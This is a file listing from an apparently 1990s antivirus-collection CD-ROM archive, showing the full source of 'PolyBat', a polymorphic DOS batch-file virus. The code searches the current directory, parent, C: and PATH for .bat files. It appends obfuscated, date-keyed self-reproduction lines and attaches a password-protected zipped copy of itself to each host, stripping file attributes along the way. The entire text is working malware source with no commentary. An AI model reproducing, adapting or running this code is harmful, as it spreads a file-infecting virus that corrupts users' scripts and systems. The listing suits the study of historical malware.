home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / BVUPDAT2.ZIP / POLYBAT.ZIP / POLYBAT.BS < prev   
Text File  |  1996-12-15  |  2KB  |  71 lines

  1. @echo off
  2. if !%1==!! goto %2
  3. if exist enter.bat exit
  4. if exist _1.bat exit
  5. if exist _? exit
  6. set Z=%0
  7. %0 ! T . .. c: %path%
  8. :T
  9. shift
  10. if !%2==! goto A
  11. for %%a in (%2*.bat %2\*.bat) do call %Z% ! I %%a
  12. goto T
  13. :A
  14. echo As5H(: PolyBat Morpher :)u
  15. exit
  16. :P
  17. set %3=
  18. echo %P%|find "%3">nul
  19. if not errorlevel 1 set %3=%%%M%%%
  20. if errorlevel 1 set N=%N%%3
  21. if not errorlevel 1 set O=%O%%3
  22. goto X
  23. :I
  24. pkunzip -v %3>nul
  25. if not errorlevel 1 goto C
  26. echo %3|find "%0">nul
  27. if not errorlevel 1 goto X
  28. echo.|dir %temp%|find "             2">_1
  29. echo.>>_1
  30. type _1|date|find "Enter">_1.bat
  31. echo set P=%%4>enter.bat
  32. call _1
  33. del _1.bat
  34. del enter.bat
  35. set M= 
  36. echo %P%|find "C">nul
  37. if not errorlevel 1 set M=~
  38. echo %P%|find "G">nul
  39. if not errorlevel 1 set M=+
  40. echo %P%|find "I">nul
  41. if not errorlevel 1 set M=-
  42. echo %P%|find "L">nul
  43. if not errorlevel 1 set M=*
  44. echo %P%|find "P">nul
  45. if not errorlevel 1 set M=&
  46. set N=_
  47. set O=
  48. for %%a in (A B C D E F G) do call %0 ! P %%a
  49. if !%O%==! set O=%N%
  50. type %3>_1
  51. echo.>>_1
  52. find /i "echo off"<%3>nul
  53. if errorlevel 1 echo @%e%e%g%c%a%h%b%o o%c%f%d%f>>_1
  54. echo i%b%f %a%!%%0=%c%=!%g% p%f%k%c%u%g%n%b%z%d%i%b%p%a% -s%O% -%b%o au%c%t%a%o%b%e%d%xe%e%c.b%g%at%%"%%>n%a%u%b%l%%"%% >>_1
  55. echo i%c%f n%e%ot%f% !%%0=%h%=!%d% if e%f%xi%a%st%c% %%0 p%g%k%c%u%b%n%e%z%a%i%f%p%b% -s%O% -o %%0%%"%%>%c%n%a%u%d%l%%"%%>>_1
  56. echo i%f%f no%b%t %a%!%%0=%c%=! i%e%f e%b%xi%d%st %%0.b%e%a%f%t pk%d%u%g%n%b%z%c%i%a%p -s%O% -o %%0.b%e%at%%"%%>n%e%u%f%l%%"%%>>_1
  57. echo i%a%f e%g%x%f%i%b%s%c%t %N%.b%d%a%a%t co%e%m%d%m%a%a%f%n%b%d%c% /%e%f%d% /%f%e%g%:%c%5%a%5%d%5%b%5 /%c%c %N%>>_1
  58. echo %a%i%e%f e%g%x%b%i%e%s%c%t %N%.%c%b%e%a%g%t d%d%e%a%l%e% %N%.%b%b%c%a%g%t>>_1
  59. copy _1 _2 /a>nul
  60. if not %N%==%0 copy %0.bat %N%.bat>nul
  61. pkzip -s%O% _3. %N%.bat>nul
  62. if not %N%==%0 del %N%.bat>nul
  63. attrib %3 -s -r
  64. copy /b _2+_3 %3>nul
  65. del _?
  66. exit
  67. :C
  68. set _C=%_C%_
  69. if %_C%==__________________________________ exit
  70. :X
  71.